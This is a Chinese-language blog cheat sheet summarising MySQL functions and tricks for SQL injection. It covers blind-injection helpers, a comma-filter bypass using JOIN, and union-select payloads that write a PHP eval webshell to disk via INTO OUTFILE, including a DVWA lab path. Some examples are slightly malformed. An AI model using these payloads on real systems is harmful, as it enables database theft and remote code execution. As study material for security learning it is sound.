SQL注入总结

/**/与/!**/

/* …. / 在大部分语言中都一样是注释。这个之中的语句是不被执行的。但mysql中 为了保持兼容,比如从mysqldump 导出的SQL语句能被其它数据库直接使用,它把一些特有的仅在mysql上的语句放在 /! … */ 中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。
仅当MySQL的版本等于或高于指定的版本号时才会执行注释中的语法: CREATE /!32302 TEMPORARY / TABLE t (a INT);这意味着,如果你的版本号为3.23.02或更高,MySQL服务器将使用TEMPORARY关键字。

@

设置变量 set @a=123;
或者 @a:=123;
select @a:=name from users limit 1;

group_concat() 函数

把name打印成一行:
select group_concat(name) from aa

substring() 函数

截取字段(盲注时判断)
select substring(‘codelabshidahaoren’,1,1);
或者 select substring(‘codelabshidahaoren’ from 1 for 1);

concat() 函数

字符拼接:
select concat(‘codelab’,’is’,’good’);

concat_ws() 函数

许多行内容弄到一行,但是又用分隔符分开:
select concat_ws(‘,’,’codelab’,’good’); – 用逗号分隔开

floor() 函数

select floor(3.8);

ord() 函数

ORD() 函数返回字符串第一个字符的 ASCII 值:
select ord(‘a’);
select ord(substring(‘asdf’ from 1 for 1));

case()函数

select char(49+(case when ‘a’ > ‘b’) then 1 else 0 end));

关键字limit

select * from user limit 0,1 # 第一条数据
select * from user limit 1,2 # 第二条数据
select * from user limit 0,2 # 前两条数据

绕过逗号拦截

通过使用join关键字
select 1,2 union select * from((select user())a join (select database())b);

利用sql注入写入webshell

假设我们通过phpinfo文件知道了网站的物理路径,接下来我们通过使用union select语句来写入webshell.写入需要你有写入权限等。
‘ union select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+
‘ union select 1,'<?php eval($_POST[cmd]);?>’ into outfile ‘c:\\2.php’+- -+

一点说明

在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的,也就是离“=”最近的一个。
注释: # – (后边有空格)
注意: 在url当中,我们可以使用“+”来代替“–”后面的空格。
什么是payload:说白了就是一段恶意代码,以便我们能够获得数据库里面的数据。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值